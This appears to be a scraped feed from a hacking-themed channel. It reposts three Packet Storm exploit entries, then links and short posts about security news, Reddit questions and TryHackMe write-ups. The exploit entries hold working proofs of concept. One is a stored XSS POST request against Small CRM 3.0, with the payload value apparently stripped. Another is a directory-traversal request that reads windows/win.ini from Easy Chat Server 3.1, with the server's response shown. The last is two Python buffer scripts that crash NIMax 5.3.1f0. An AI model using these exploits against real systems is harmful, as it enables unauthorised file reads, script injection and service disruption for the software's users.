Exploit Collector
Small CRM 3.0 Cross Site Scripting

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Small CRM version 3.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 887802c5734c26b19d2fa7086eed9eb4

Download
# Exploit Title: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS)
# Date: 20/10/2021
# Exploit Author: Ghuliev
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Tested on: Server: Ubuntu

When a user or admin creates a ticket, we can inject javascript code into
ticket.

POST /crm/create-ticket.php HTTP/1.1
Host: IP
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP/crm/create-ticket.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,az;q=0.8,ru;q=0.7

subject=aa&tasktype=Select+your+Task+Type&priority=&description=&send=Send


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Easy Chat Server 3.1 Directory Traversal

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Easy Chat Server version 3.1 suffers from a directory traversal vulnerability.

MD5 | 6467ba2ba996208488cde9d6cd01fa7d

Download
# Exploit Title: Easy Chat Server 3.1 - Directory Traversal and Arbitrary File Read
# Date: 11 October 2021
# Exploit Author: z4nd3r
# Vendor Homepage: http://www.echatserver.com/
# Software Link: http://www.echatserver.com/
# Version: 3.1
# Tested on: Windows 10 Pro Build 19042, English
#
# Description:
# The web server allows for directory traversal and reading of arbitrary files on the
# system, given that the account running the server can access the target file.
Proof-of-concept using Burp:

Request:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 192.168.50.52
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------------------

Response:

HTTP/1.0 200 OK
Date: Thu, 21 Oct 2021 14:55:57 GMT
Server: Easy Chat Server/1.0
Accept-Ranges: bytes
Content-Length: 92
Connection: close
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NIMax 5.3.1f0 Denial Of Service

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
NIMax version 5.3.1f0 suffers from multiple denial of service vulnerabilities.

MD5 | f16a3515fb6f97a2e7bf282255c5e23c

Download
# Exploit Title: NIMax 5.3.1 - 'Remote VISA System' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Right click "Remote systems" and press "Create New"
4 - Select "Remote VISA System" and press "Next"
5 - Paste clipboard in "Remote VISA System Address"
6 - Press finish and DoS will occur
'''

buffer = "\x41" * 5000

try:
f = open("nimax.txt", "w")
f.write(buffer)
f.close()
print("[+] File created!")
except:
print("[+] File could not be created!")
----------

# Exploit Title: NIMax 5.3.1f0 - 'VISA Alias' Denial of Service (PoC)
# Date: 24/06/2021
# Exploit Author: LinxzSec
# Vulnerability: Local Denial of Service (DoS)
# Vendor Homepage: https://www.ni.com/en-gb.html
# Software Link: License Required - https://knowledge.ni.com/KnowledgeArticleDetails?id=kA03q000000YGQwCAO&l=en-GB
# Tested Version: 5.3.1f0
# Tested On: Windows 10 Pro x64

'''[ POC ]
1 - Copy printed "AAAAA..." string from "nimax.txt"
2 - Open NIMax.exe
3 - Drop down "My System" then drop down "Software"
5 - Locate "NI-VISA 5.2" and select it
6 - Open the "VISA Options" tab
7 - Drop down "General settings"
8 - Select "Aliases"
9 - Select "Add alias"
10 - Paste string from "nimax.txt" into "Resource name"
11 - Just put a single character in the alias and press "ok", DoS will occur
'''

buffer = "\x41" * 5000

try:
f = open("nimax.txt", "w")
f.write(buffer)
f.close()
print("[+] File created!")
except:
print("[+] File could not be created!")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Psychology Can Save Your Cybersecurity Awareness Training Program

Understanding human psychology, how it works, and how to introduce its concepts into cybersecurity awareness training can make a huge difference to your organization.

Dark Reading: Attacks/Breaches
Macs Still Targeted Mostly With Adware, Less With Malware

The top 10 categories of digital threats on macOS are all adware programs, with only a sliver of the share of victims affected by actual malware, according to an IT management firm.

TryHackMe — Jeff
https://r3alix01.medium.com/tryhackme-jeff-fc2fe2a3161a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi guys, I am Piyush Achärya, and today in this write-up I am going to show you how to complete the Jeff challenge. Let’s get started.Continue reading on Medium » (https://r3alix01.medium.com/tryhackme-jeff-fc2fe2a3161a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Franken-phish: Breaking down a TodayZoo-based phishing campaign
https://www.reddit.com/r/redteamsec/comments/qcvqju/frankenphish_breaking_down_a_todayzoobased/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/PhishingKits) [comments] (https://www.reddit.com/r/redteamsec/comments/qcvqju/frankenphish_breaking_down_a_todayzoobased/)

___________________________
@hacking_Attack
@Hacking_Video

Opening “STEELCORGI”: A Sophisticated APT Swiss Army Knife
https://www.reddit.com/r/redteamsec/comments/qcxnlt/opening_steelcorgi_a_sophisticated_apt_swiss_army/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/) [comments] (https://www.reddit.com/r/redteamsec/comments/qcxnlt/opening_steelcorgi_a_sophisticated_apt_swiss_army/)

___________________________
@hacking_Attack
@Hacking_Video

An "Inspackage-like" app for iOS ?
https://www.reddit.com/r/Pentesting/comments/qcylic/an_inspackagelike_app_for_ios/

Hey fellows. So I'm conducting a pentesting on a application that runs both on Android and iOS. I would need some way to hook the memory on the iOS device to see encrytion in real-time (get AES keys). For Android I use Inspackage for this. Is there any way of doing this on iOS? My testing device is a iphone 6s with iOS 13.3. submitted by /u/SnooSketches7432 (https://www.reddit.com/user/SnooSketches7432)
[link] (https://www.reddit.com/r/Pentesting/comments/qcylic/an_inspackagelike_app_for_ios/) [comments] (https://www.reddit.com/r/Pentesting/comments/qcylic/an_inspackagelike_app_for_ios/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Ec council associate certs

Hello Im currently preparing for my S+ exam (nearly finished) and I just saw ec council’s EHA & CFA certification, and im deciding to go for it instead of the S+. I’m also having a hard time finding study materials for the 2 certs and to book the exam as there’s no approved certiport centre listed on the certiport website for my country. Any advice/suggestions would be highly appreciated

submitted by /u/Rithikrai009
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it necessary to take notes when learning cyber security?

This question may trigger some, so please don’t take any offense from it.

I am 16 years old, male, and I’m a beginner in this field. I have a simple question and it is: Do I need to take notes (on a notebook) when learning about new topics, commands, tools, etc...?

I feel like I will probably forget about what I study if I don’t write them down somewhere. But the thing is, it’s very time consuming and if it’s not worth the process, I will simply abandon this study technique. Thanks for reading, hope I can get help from you.

submitted by /u/Original_Pea_6201
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to view more than one page of results at a time?

On Linkedin Sales Navigator, when I create a query for companies that match some criterias, I get ~600 results. However, I can only view 25 at a time.

How do I view them all on one page?

The URL reads this to display 25 entries at a time:

https://www.linkedin.com/sales/search/company?savedSearchId=50542130&searchSessionId=1JkcdD%2BeRBaX7onbXFrEag%3D%3D

Thanks in advance.

submitted by /u/SellingWhileBrown
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
WhatsApp Security

Every now and then you receive a WhatsApp message from a stranger, and you tell them that they have a wrong number or you are not interested in whatever it is they are selling. I got such a message from H.K. yesterday. No one has ever tried to send me an attachment or a link and I know better not to fall for such traps.

I just wonder if there is some sort of vulnerability in WhatsApp that could be exploited only if i open the conversation window to see the message (no links, no attachments, just open the conversation window).

submitted by /u/lordleoo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I Find Reflected Xss in Javatpoint

Hello viewers, i hope you all guys are safe & cure in your houseContinue reading on Medium »
Read more...

TryHackMe — Jeff

Hi guys, I am Piyush Achärya, and today in this write-up I am going to show you how to complete the Jeff challenge. Let’s get started.Continue reading on Medium »
Read more...

Hacking on Medium
TryHackMe — Jeff

https://cdn-images-1.medium.com/max/1366/1*oVUYqTOwAlHgtxpXipB-OA.png
Hi guys, I am Piyush Achärya, and today in this write-up I am going to show you how to complete the Jeff challenge. Let’s get started.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video